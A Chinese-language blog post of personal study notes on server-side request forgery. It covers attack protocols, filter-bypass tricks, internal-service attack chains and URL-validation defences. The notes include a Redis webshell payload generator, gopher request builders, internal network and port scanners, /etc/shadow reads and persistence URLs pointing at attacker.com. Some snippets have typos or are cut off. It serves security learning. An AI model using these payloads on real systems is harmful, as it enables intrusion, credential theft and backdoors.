6088 字
30 分钟
SSRF学习笔记
2026-02-06

SSRF基础知识#

1. 定义#

服务器端请求伪造 (SSRF) 是一种 Web 安全漏洞,本质上是一种”服务器被动代理攻击”,攻击者可以利用它诱使服务器端应用程序向攻击者选择的任意域名发出 HTTP 请求。这可能导致未经授权的操作、访问内部系统或数据泄露。

客户端请求伪造(CSRF) 不同,SSRF利用的是服务器的权限和信任关系,使服务器成为攻击的”代理人”。

SSRF漏洞的独特之处在于,它能够绕过网络隔离限制,访问那些原本无法从外部网络直接访问的资源。这些资源可能包括内部网络服务、云服务元数据、本地文件系统等。正是这种”借刀杀人”的特性,使SSRF成为近年来备受关注的高危漏洞类型。

2. 形成原因与机制#

根本原因#

是服务端应用程序在处理用户可控的URL或资源地址时,没有实施足够的验证和限制。

机制#

涉及了几个关键环节

  • 用户输入控制:应用程序允许用户指定资源的URL或地址

  • 服务器端请求:应用程序使用这些用户提供的地址发起服务器端请求

  • 缺乏验证:应用程序未对请求目标进行充分的验证和限制

  • 特权执行:请求以服务器的身份和权限执行,可能访问内部资源

3. 分类#

基于目标的分类#

  • 内网SSRF:攻击者利用SSRF访问内部网络资源,如内部服务器、数据库、管理接口等。
http://vulnerable-app.com/fetch?url=http://internal-admin.local/users
  • 本地SSRF:攻击者利用SSRF访问目标服务器本身的资源,如本地文件、本地服务等。
http://vulnerable-app.com/fetch?url=file:///etc/passwd
  • 外网SSRF:攻击者利用目标服务器作为代理,访问外部资源或绕过IP限制。
http://vulnerable-app.com/fetch?url=http://attacker-controlled.com/malicious-script
  • 云元数据SSRF:特指利用SSRF访问云服务提供商的元数据服务,获取敏感配置和凭证。
http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/

基于反馈的分类#

  • 有回显SSRF:服务器将请求的响应内容返回给攻击者,使攻击者能够直接获取目标资源的内容。
http://vulnerable-app.com/preview?url=http://internal-service/config
// 返回内部服务的配置内容
  • 无回显SSRF(盲SSRF):服务器不返回请求的响应内容,攻击者需要通过间接方式推断请求结果。
http://vulnerable-app.com/check?url=http://internal-service/admin
// 仅返回"URL已检查",不显示具体内容
  • 半回显SSRF:服务器返回部分响应信息或状态码,攻击者可以获取有限的反馈。
http://vulnerable-app.com/status?url=http://internal-service/api
// 返回"状态码: 200",但不显示响应内容

4. 典型特征#

SSRF漏洞通常具有以下特征,这些特征也是识别潜在SSRF漏洞的重要线索

  • URL参数化:应用程序接受URL作为参数,并使用该URL获取资源。
/api/fetch?url=https://example.com/resource
  • 资源加载功能:应用程序提供加载远程资源的功能,如图片、文件、网页内容等。
/preview?image=https://example.com/image.jpg
  • API集成点:应用程序与其他服务集成,并允许用户指定集成端点。
/integrate?endpoint=https://api.service.com/v1
  • 回调URL:应用程序接受回调URL,用于异步通知或webhook。
/webhook/register?callback=https://my-service.com/notify
  • 文档转换服务:应用程序提供HTML到PDF、URL到截图等转换功能。
/convert?webpage=https://example.com

5. 常见漏洞场景#

1. 社交分享功能:获取超链接的标题等内容进行显示
2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3. 在线翻译:给网址翻译对应网页的内容
4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
9. 邮件系统:比如接收邮件服务器地址
10. 编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12. 从远程服务器请求资源
13. 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求
14. 从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等

6. 内网&外网#

内网是指一个封闭的局域网或私有网络,通常是在一个组织、家庭或公司内部使用。内网可以由路由器、交换机等网络设备进行管理,内部设备使用内网IP地址进行通信。内网通常具有较高的安全性和控制性,只有授权的设备和用户才能访问其中的资源。

外网(公网)则指的是全球范围的互联网,是连接所有内网以及其他网络的公共网络。它是由各个互联网服务提供商提供并连接起来的,所有通过公网IP地址进行标识和通信的设备都可以相互连接。外网对外开放,允许用户访问各种在线服务、网站和资源。

7. 可实现影响#

直接#

  • 内网探测与信息收集:攻击者可以扫描内部网络,发现内部服务和开放端口,绘制内网拓扑图。
for port in range(1, 10000):
url = f"http://vulnerable-app.com/fetch?url=http://internal-server:{port}"
# 通过响应判断端口是否开放
  • 访问内部敏感服务:攻击者可以访问原本无法从外部访问的内部服务,如管理接口、监控系统、内部API等。
http://vulnerable-app.com/fetch?url=http://internal-admin:8080/dashboard
  • 读取本地敏感文件:通过file协议或特定URL构造,攻击者可以读取服务器上的敏感文件。
http://vulnerable-app.com/fetch?url=file:///etc/shadow
  • 绕过防火墙和访问控制:攻击者可以利用服务器作为代理,绕过IP限制和防火墙规则
# 目标服务器可以访问internal-api,而攻击者IP被禁止
http://vulnerable-app.com/fetch?url=http://internal-api/restricted-data

间接#

  • 作为攻击链的一部分:SSRF常作为复杂攻击链的一环,为后续攻击提供立足点。
1. 利用SSRF访问内部Jenkins服务
2. 利用Jenkins执行命令获取服务器控制权
3. 横向移动至其他内部系统
  • 结合其他漏洞放大危害:SSRF与其他漏洞(如XXE、反序列化等)结合,可能导致更严重的安全问题。
# SSRF + XXE组合攻击
http://vulnerable-app.com/fetch?url=http://attacker.com/xxe-payload.xml
  • 拒绝服务攻击:攻击者可以利用SSRF使服务器向自身或其他服务发送大量请求,导致资源耗尽。
# 使服务器不断请求大文件,耗尽带宽和内存
http://vulnerable-app.com/fetch?url=http://large-file-server.com/10gb-file

攻击#

1. SSRF关键词&函数#

要想检测到、识别出SSRF漏洞,那么肯定得了解与SSRF有关的标志点(关键词、参数名、函数)

在代码审计或黑盒测试中,以下关键词和参数名可能指示潜在的SSRF漏洞点

- url, uri, link, source, target, path, dest, redirect, uri, src, href
- callback, webhook, hook, notify, notification
- feed, rss, atom, xml, soap, wsdl, uddi
- proxy, fetch, get, download, upload
- preview, thumbnail, screenshot
- share, embed, embed_url
- import, export, load, include, require

相关漏洞函数

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。

2. 漏洞发现#

总的来说是三类方式:

黑盒测试:
通过输入特定URL并观察应用行为来识别潜在的SSRF点。
代码审计:
审查源代码中可能导致SSRF的函数和模式。
流量分析:
分析应用的网络流量,识别可能由用户输入触发的服务器端请求。

要是说常用的方法:

  • 使用回显服务:利用Burp Collaborator、RequestBin等工具创建唯一URL,检测服务器是否发出请
http://target.com/fetch?url=http://uniqueid.burpcollaborator.net
  • 时间延迟:使用会导致延迟的URL,观察响应时间变化
http://target.com/fetch?url=http://slowwly.robertomurray.co.uk/delay/5000/url/http://example.com

其实在找到的参考文章中还讲解了SSRF漏洞的利用准备(确认类型、识别机制…),利用执行(内网探测、服务识别、利用、提取)和后渗透活动(权限提升、横向移动、持久化、数据窃取、清除痕迹)。不过在学习初期就先不整理这一部分了,日后逐渐学习。

3. URL协议利用技术#

SSRF攻击的一个关键方面是利用各种URL协议访问不同类型的资源。不同协议提供了不同的攻击向量和能力。

HTTP/HTTPS协议#

最基本的协议,用于访问Web服务 探测内网主机存活(探测存活主机)

http://target.com/fetch?url=http://internal-service/admin
https://target.com/fetch?url=https://internal-service/config
  • (1)HTTP重定向:利用重定向绕过URL过滤
# 设置一个重定向到内部服务的外部服务
http://target.com/fetch?url=http://attacker.com/redirect
# attacker.com返回302重定向到http://internal-service/

这个重定向还是不错的,单独说一下,这里搬了一下别人的逻辑。 //xip.io:这个域名可以将www.192.168.1.2.xip.io解析到自己的IP上

- 短地址跳转绕过  [https://clck.ru/](https://clck.ru/) 这个网站生成的最快且免费,是俄语需要开翻译看
- xip.io - 浏览器请求
`http://127.0.0.1.xip.io/flag.php`
- DNS 查询
`127.0.0.1.xip.io → 127.0.0.1`
- TCP 连接
`connect(127.0.0.1:80)`
- HTTP 请求(非常关键):
`GET /flag.php HTTP/1.1 Host: 127.0.0.1.xip.io`
  • (2)HTTP认证:利用HTTP基本认证语法混淆URL解析
http://target.com/fetch?url=http://user:password@internal-service/
  • (3)HTTP请求走私:在某些情况下,可以在HTTP请求中嵌入额外的HTTP请求。
http://target.com/fetch?url=http://external-service/
X-Forwarded-For: internal-service

文件协议 file://#

在有回显的情况下,利用 file 协议可以读取任意文件的内容 (就是用来读passwd的方法)

# 用于访问服务器本地文件系统
http://target.com/fetch?url=file:///etc/passwd
http://target.com/fetch?url=file://C:/Windows/win.ini

利用

  • (1)路径遍历:结合路径遍历技术访问任意文件
  • (2)特殊文件访问:访问特殊文件获取系统信息
  • (3)目录列表:某些实现可能允许列出目录内容

字典协议 dict://#

泄露安装软件版本信息,查看端口,操作内网redis服务等(用来对内网的服务进行查询)

# 用于与字典服务器交互,但也可用于与其他基于文本的服务交互
http://target.com/fetch?url=dict://internal-service:2628/info

利用

  • (1)Redis命令执行:利用dict协议与Redis服务交互。关于Redis下面还有详细介绍
  • http://target.com/fetch?url=dict://192.168.1.10:6379/info
  • http://target.com/fetch?url=dict://192.168.1.10:6379/CONFIG SET dir /var/www/html/
  • (2)Memcached数据提取:访问Memcached服务获取缓存数据
  • http://target.com/fetch?url=dict://192.168.1.10:11211/stats

Gopher协议 gopher://#

gopher支持发出GET、POST请求。

可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。

gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

可用于反弹shell (像是一个万能胶 可以模仿出POST和GET协议可以打很多服务例如Mysql,FastCGI,redis)

格式

URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
# gopher的默认端口是70
# 如果发起POST请求,回车换行需要使用`%0d%0a`来代替`%0a`,如果多个参数,参数之间的&也需要进行URL编码
# 可发送任意TCP数据
http://target.com/fetch?url=gopher://internal-service:25/xHELO%20localhost

利用

  • (1)SMTP邮件发送:通过SMTP服务发送邮件
  • (2)MySQL命令执行:与MySQL服务交互执行SQL命令
  • (3)Redis命令执行:比dict协议更灵活的Redis交互方式
  • (4)利用Gopher协议发送HTTP GET请求
GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.72

抓取或构造如上数据包,下面是脚本

# GET脚本
mport urllib.parse
payload =\
"""GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.72
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.72:80/'+'_'+new
print(result)

注意

1. 问号(?)需要转码为URL编码,也就是%3f
2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
`gopher://47.xxx.xxx.72:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.72%0D%0A`生成之后
  • (5)利用Gopher协议发送HTTP POST请求
POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.72
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
whoami=Bunny

注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。

# POST脚本
mport urllib.parse
payload =\
"""POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.72
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
whoami=Bunny
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.72:80/'+'_'+new
print(result)

LDAP协议 ldap://#

用于与LDAP目录服务交互

http://target.com/fetch?url=ldap://192.168.1.10:389/dc=example,dc=com

利用

  • (1)LDAP注入:结合LDAP注入技术获取目录信息
http://target.com/fetch?url=ldap://192.168.1.10:389/dc=example,dc=com??sub?(uid=*)
  • (2)LDAP绑定操作:尝试使用不同凭证进行LDAP绑定

FTP协议 ftp://#

用于与FTP服务器交互

http://target.com/fetch?url=ftp://user:pass@192.168.1.10/

利用

  • (1)FTP主动模式利用:在某些情况下,可以利用FTP主动模式进行端口扫描
  • (2)FTP命令注入:在某些实现中,可能存在FTP命令注入的可能性

其它协议#

  • jar协议:访问Java归档文件
  • http://target.com/fetch?url=jar:http://attacker.com/malicious.jar!/
  • netdoc协议:Java特有协议,可用于文件访问
  • http://target.com/fetch?url=netdoc:/etc/passwd
  • data协议:直接在URL中嵌入数据
  • http://target.com/fetch?url=data:text/plain,Hello%20World

4. SSRF绕过技术#

IP地址绕过技术#

当应用程序禁止访问内部IP地址(如192.168.0.0/16、127.0.0.1等)时。也就是考察内网地址的多种表示方式

  • 替代表示法:使用IP地址的替代表示形式
# 十进制表示
http://target.com/fetch?url=http://2130706433/ # 127.0.0.1
# 八进制表示
http://target.com/fetch?url=http://0177.0.0.1/ # 127.0.0.1
# 十六进制表示
http://target.com/fetch?url=http://0x7f.0.0.1/ # 127.0.0.1
# 混合表示
http://target.com/fetch?url=http://0x7f.0.0.0x1/ # 127.0.0.1
  • IPv6表示:使用IPv6地址格式
http://target.com/fetch?url=http://[::1]/ # 127.0.0.1
http://target.com/fetch?url=http://[::ffff:127.0.0.1]/ # 127.0.0.1
  • DNS解析:使用解析为内部IP的域名
# 使用特殊域名服务
http://target.com/fetch?url=http://127.0.0.1.xip.io/
# 使用自定义DNS记录
http://target.com/fetch?url=http://internal.attacker.com/
# 其中internal.attacker.com解析为127.0.0.1

这里再提到一种方法叫DNS Rebinding: 整个检测过程会执行两次DNS解析,我们抓住这两个解析的时间差,在DNS服务器中有个参数叫TTL,用来表示DNS里域名和IP的绑定存活时间,过了这个时间就要重新请求,那我们就可以通过第一次让DNS解析为正常的外网地址,第二次解析的时候为内网就可以绕过check了。 简而言之 攻击者利用 DNS 解析会执行两次 + DNS 记录有存活时间(TTL) 的特点,第一次解析返回正常外网 IP 骗过检查,等 TTL 过期后第二次解析自动换成内网 IP,从而绕过 “禁止访问内网” 的限制。

[DNS.png] TIPS:在不同的语言中不同服务器也会存在差异,JAVA请求DNS成功会缓存30s,PHP默认没有缓存,linux不会缓存,windows和mac会

  • URL编码:使用不同级别的URL编码混淆IP地址
http://target.com/fetch?url=http://%31%32%37%2E%30%2E%30%2E%31/
  • 非标准分隔符:使用非标准字符分隔IP地址部分
http://target.com/fetch?url=http://127。0。0。1/

域名过滤绕过技术#

当应用程序使用域名白名单或黑名单时

  • 子域名技巧:利用子域名结构绕过过滤
# 如果允许访问example.com
http://target.com/fetch?url=http://attacker-controlled.example.com/
# 如果过滤不严格
http://target.com/fetch?url=http://example.com.attacker.com/
  • 域名前缀:利用URL用户信息部分混淆域名
http://target.com/fetch?url=http://allowed-domain.com@evil.com/
  • 域名解析顺序:利用不同库解析域名的差异
http://target.com/fetch?url=http://evil.com#@allowed-domain.com/
  • IDN同形异义词攻击:使用看起来相似但实际不同的Unicode字符
http://target.com/fetch?url=http://еxаmрlе.com/ # 使用西里尔字母

协议过滤绕过技术#

当应用程序限制只允许http/https协议时

  • 协议嵌套:在允许的协议中嵌套其他协议
http://target.com/fetch?url=http://evil.com/file.php?url=file:///etc/passwd
  • URL重定向:利用重定向从http跳转到其他协议
# evil.com设置重定向到file:///etc/passwd
http://target.com/fetch?url=http://evil.com/redirect
  • 协议大小写混合:某些解析器对协议大小写不敏感
http://target.com/fetch?url=Http://internal/
http://target.com/fetch?url=https://internal/
  • 协议相对URL:使用协议相对URL(//)继承当前页面协议
http://target.com/fetch?url=//internal/

过滤器绕过技术#

  • 双重URL编码:绕过单次解码的过滤器
http://target.com/fetch?url=http://%252F%252Finternal/
  • 空字节注入:在某些语言实现中,可以使用空字节截断字符串
http://target.com/fetch?url=http://allowed-domain.com%00internal/
  • 路径规范化差异:利用不同系统路径规范化的差异
http://target.com/fetch?url=http://internal/./././admin
  • 参数污染:提供多个同名参数,混淆过滤逻辑
http://target.com/fetch?url=http://allowed.com&url=http://internal/
  • HTTP头注入:在某些实现中,可以通过注入HTTP头影响请求目标
http://target.com/fetch?url=http://allowed.com
Host: internal

5. 内网服务攻击链#

Jenkins利用链#

访问内部Jenkins服务,执行命令

# 1. 发现Jenkins服务
http://target.com/fetch?url=http://192.168.1.10:8080/
# 2. 访问脚本控制台
http://target.com/fetch?url=http://192.168.1.10:8080/script
# 3. 执行命令
http://target.com/fetch?url=http://192.168.1.10:8080/script?script=println%20%22whoami%22.execute().text

Elasticsearch利用链#

访问内部Elasticsearch,获取敏感数据

# 1. 列出所有索引
http://target.com/fetch?url=http://192.168.1.10:9200/_cat/indices
# 2. 查询敏感数据
http://target.com/fetch?url=http://192.168.1.10:9200/users/_search?q=*

Redis利用链#

利用未授权的Redis服务获取系统控制权

# 使用gopher协议构造Redis命令
# 1. 设置SSH公钥
# 2. 写入定时任务
# 3. 写入Webshell

Memcached利用链#

从Memcached获取会话数据或缓存凭证

http://target.com/fetch?url=dict://192.168.1.10:11211/stats items
http://target.com/fetch?url=dict://192.168.1.10:11211/stats cachedump 1 0

6. 漏洞组合利用#

SSRF + XXE#

利用SSRF触发XXE漏洞

# 1. 通过SSRF请求恶意XML
http://target.com/fetch?url=http://attacker.com/xxe.xml
# 2. xxe.xml内容
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

SSRF + CSRF#

利用SSRF绕过CSRF保护

# 利用SSRF访问内部管理接口,绕过同源策略限制
http://target.com/fetch?url=http://internal-admin/csrf-protected-action

SSRF + 反序列化#

通过SSRF触发反序列化漏洞

# 访问内部服务的反序列化端点
http://target.com/fetch?url=http://internal-service/deserialize?data=...

SSRF + 命令注入#

利用SSRF访问可能存在命令注入的内部服务

http://target.com/fetch?url=http://internal-service/ping?host=localhost;id

7. 高级payload#

关于SSRF攻击redis,mysql的相关笔记另行整理,是否添加在本篇文章后续再说。

Redis Webshell注入#

def generate_redis_webshell_payload(ip, port, webshell_path):
# 构造Redis命令
redis_commands = [
"flushall",
f"set 1 \"<?php system($_GET['cmd']); ?>\"",
"config set dir /var/www/html/",
"config set dbfilename shell.php",
"save"
]
# 转换为Gopher协议格式
gopher_payload = "gopher://{ip}:{port}/_".format(ip=ip, port=port)
for cmd in redis_commands:
cmd_parts = cmd.split(" ")
redis_proto = "*{}\r\n".format(len(cmd_parts))
for part in cmd_parts:
redis_proto += "${}\r\n{}\r\n".format(len(part), part)
# URL编码
encoded_proto = "".join("%{:02x}".format(ord(c)) for c in redis_proto)
gopher_payload += encoded_proto
return gopher_payload

MySQL UDF注入#

def generate_mysql_udf_payload(ip, port, user, password):
# 构造MySQL协议数据包
# 这里需要详细了解MySQL协议格式
# 实际实现较为复杂,需要处理认证和二进制协议
pass

8. 自动化探测与利用#

内网扫描自动化#

import requests
def scan_internal_network(target_url, subnet):
results = {}
for i in range(1, 255):
ip = f"{subnet}.{i}"
payload = f"http://{ip}/"
url = target_url.replace("FUZZ", payload)
try:
response = requests.get(url, timeout=2)
if response.status_code != 404: # 假设404表示主机不存在
results[ip] = response.status_code
except:
pass
return results
# 使用示例
results = scan_internal_network("http://target.com/fetch?url=FUZZ", "192.168.1")
print(results)

端口扫描自动化#

def scan_ports(target_url, ip, ports):
results = {}
for port in ports:
payload = f"http://{ip}:{port}/"
url = target_url.replace("FUZZ", payload)
try:
response = requests.get(url, timeout=2)
results[port] = response.status_code
except:
pass
return results
# 使用示例
common_ports = [21, 22, 80, 443, 3306, 6379, 8080, 8443, 9200]
results = scan_ports("http://target.com/fetch?url=FUZZ", "192.168.1.10", common_ports)
print(results)

服务识别自动化#

def identify_service(target_url, ip, port):
service = "unknown"
# 尝试HTTP服务
try:
payload = f"http://{ip}:{port}/"
url = target_url.replace("FUZZ", payload)
response = requests.get(url, timeout=2)
if "Apache" in response.headers.get("Server", ""):
service = "Apache"
elif "nginx" in response.headers.get("Server", ""):
service = "Nginx"
# 更多服务识别逻辑...
except:
pass
return service

9. SSRF持久化#

内部Webhook配置#

配置内部服务的Webhook指向攻击者控制的服务器

http://target.com/fetch?url=http://internal-service/settings/webhook?url=http://attacker.com/callback

定时任务植入#

通过访问内部服务添加定时任务

http://target.com/fetch?url=http://internal-jenkins:8080/job/create?...

配置修改#

修改内部服务配置,建立后门

http://target.com/fetch?url=http://internal-service/config?allow_remote=true&remote_addr=attacker.com

10. 妙妙小工具#

  • SSRFmap:专门用于SSRF漏洞利用的Python工具
python ssrfmap.py -u "http://target.com/fetch?url=xxURLxx" -m redis
  • Gopherus:生成用于各种服务(如MySQL、Redis、SMTP等)的Gopher协议payload
python gopherus.py --exploit redis --command "set mykey myvalue"
  • SSRF Proxy:将SSRF漏洞转变为HTTP代理
ruby ssrf-proxy.rb -u "http://target.com/fetch?url=xxURLxx"

防御#

修复方式#

1. 去除url中的特殊字符
2. 判断是否属于内网ip
3. 如果是域名的话,将url中的域名改为ip
4. 请求的url为3中返回的url
5. 请求时设置host header为ip
6. 不跟随30x跳转(跟随跳转需要从1开始重新检测)

层级分类#

  1. 应用层防御:直接在应用代码中实施的防御措施,如输入验证、URL解析和过滤。

  2. 服务层防御:在服务配置和架构层面实施的防御措施,如网络隔离和服务访问控制。

  3. 网络层防御:在网络基础设施层面实施的防御措施,如防火墙规则和网络分段。

  4. 监控与检测层:用于识别和响应SSRF攻击尝试的监控和告警系统。

应用层防御#

有四层,这里只整理一层相关内容,后三层需要可另行了解

(1)输入验证与过滤#

1. URL解析与验证#

# Python示例:URL解析与验证
from urllib.parse import urlparse
import socket
import ipaddress
def is_url_safe(url):
try:
# 解析URL
parsed = urlparse(url)
# 验证协议
if parsed.scheme not in ['http', 'https']:
return False
# 获取主机名
hostname = parsed.netloc
if ':' in hostname:
hostname = hostname.split(':')[0]
# 解析IP地址
ip = socket.gethostbyname(hostname)
# 检查是否为内网IP
ip_obj = ipaddress.ip_address(ip)
if (ip_obj.is_private or ip_obj.is_loopback or
ip_obj.is_link_local or ip_obj.is_multicast):
return False
return True
except Exception:
# 任何异常都视为不安全
return False

2. 域名白名单#

// PHP示例:域名白名单验证
function isDomainAllowed($url) {
$allowedDomains = [
'api.trusted.com',
'cdn.trusted.com',
'partner.trusted.com'
];
$parsedUrl = parse_url($url);
$hostname = $parsedUrl['host'] ?? '';
// 检查是否在白名单中
foreach ($allowedDomains as $domain) {
if ($hostname === $domain || preg_match('/\.' . preg_quote($domain, '/') . '$/', $hostname)) {
return true;
}
}
return false;
}

3. 协议限制#

// Java示例:协议限制
public boolean isProtocolAllowed(String url) {
List<String> allowedProtocols = Arrays.asList("http", "https");
try {
URL parsedUrl = new URL(url);
String protocol = parsedUrl.getProtocol().toLowerCase();
return allowedProtocols.contains(protocol);
} catch (MalformedURLException e) {
return false;
}
}

4. IP地址范围验证#

// JavaScript示例:IP地址范围验证
function isPublicIp(ip) {
// 检查是否为私有IP
const privateRanges = [
/^10\./, // 10.0.0.0 - 10.255.255.255
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // 172.16.0.0 - 172.31.255.255
/^192\.168\./, // 192.168.0.0 - 192.168.255.255
/^127\./, // 127.0.0.0 - 127.255.255.255
/^169\.254\./, // 169.254.0.0 - 169.254.255.255
/^fc00:/, // fc00::/7 (Unique Local Addresses)
/^fe80:/, // fe80::/10 (Link-Local Addresses)
/^::1$/, // ::1/128 (Loopback)
/^[fF][dD]/ // fd00::/8 (Unique Local Addresses)
];
return !privateRanges.some(range => range.test(ip));
}

(2)安全的HTTP客户端配置#

1. 禁用重定向#

# Python requests库示例:禁用重定向
import requests
def fetch_url(url):
try:
# 禁用重定向
response = requests.get(url, allow_redirects=False, timeout=5)
# 检查是否为重定向
if response.status_code in [301, 302, 303, 307, 308]:
# 处理重定向(可以再次验证重定向目标)
redirect_url = response.headers.get('Location')
if not is_url_safe(redirect_url):
return None
# 手动处理重定向
return fetch_url(redirect_url)
return response.content
except Exception:
return None

2. 设置超时#

// Java示例:设置超时
URL url = new URL(urlString);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setConnectTimeout(3000); // 3秒连接超时
conn.setReadTimeout(5000); // 5秒读取超时

3. 限制请求方法#

// PHP示例:限制请求方法
function fetchUrl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 只允许GET请求
curl_setopt($ch, CURLOPT_HTTPGET, true);
// 禁用其他方法
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, null);
$response = curl_exec($ch);
curl_close($ch);
r

4. 禁用不必要的功能#

# Python示例:禁用不必要的功能
import requests
def safe_request(url):
session = requests.Session()
# 禁用证书验证绕过
session.verify = True
# 禁用HTTP认证
session.auth = None
# 不发送cookies
session.cookies.clear()
# 设置安全的User-Agent
headers = {'User-Agent': 'SecurityScanner/1.0'}
return session.get(url, headers=headers, timeout=5)

(3)内容验证#

// PHP示例:验证返回的是图片内容
function isImageContent($content) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->buffer($content);
$allowedMimeTypes = [
'image/jpeg',
'image/png',
'image/gif',
'image/webp'
];
return in_array($mimeType, $allowedMimeTypes);
}
// 使用示例
$url = $_GET['image_url'];
if (isUrlSafe($url)) {
$content = fetchUrl($url);
if (isImageContent($content)) {
// 处理图片内容
} else {
// 拒绝非图片内容
}
} else {
// 拒绝不安全的URL
}

(4)安全的URL解析#

// JavaScript示例:安全的URL解析
function parseUrl(url) {
try {
// 使用URL构造函数进行解析
const parsedUrl = new URL(url);
// 规范化主机名(转为小写)
const hostname = parsedUrl.hostname.toLowerCase();
// 检查是否包含可疑字符
if (hostname.includes('@') || hostname.includes('\\')) {
return null;
}
// 检查IPv6地址格式
if (hostname.startsWith('[') && hostname.includes(']')) {
// 提取IPv6地址
const ipv6 = hostname.substring(1, hostname.indexOf(']'));
// 验证IPv6地址
// ...
}
return parsedUrl;
} catch (e) {
return null;
}
}

借鉴来源:先知社区

SSRF学习笔记
https://fuwari.vercel.app/posts/ssrf/
作者
BIG熙
发布于
2026-02-06
许可协议
CC BY-NC-SA 4.0